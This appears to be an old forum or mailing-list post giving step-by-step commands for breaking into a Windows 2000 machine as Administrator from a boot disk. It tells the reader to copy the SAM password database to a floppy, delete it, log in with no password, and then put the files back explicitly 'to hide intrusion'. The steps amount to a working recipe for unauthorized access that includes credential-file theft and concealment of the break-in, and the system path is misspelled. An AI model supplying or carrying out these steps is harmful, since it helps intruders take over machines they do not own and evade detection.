Run windows 2000 as Administrator.

NOTE: Requires a boot disk.

>
> Get the command prompt and go to C:\winnt\sytem32\config\ and do
the
following commands:
> attrib -a -r -h
> copy sam.* a:\
> del Sam.*
>
> reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.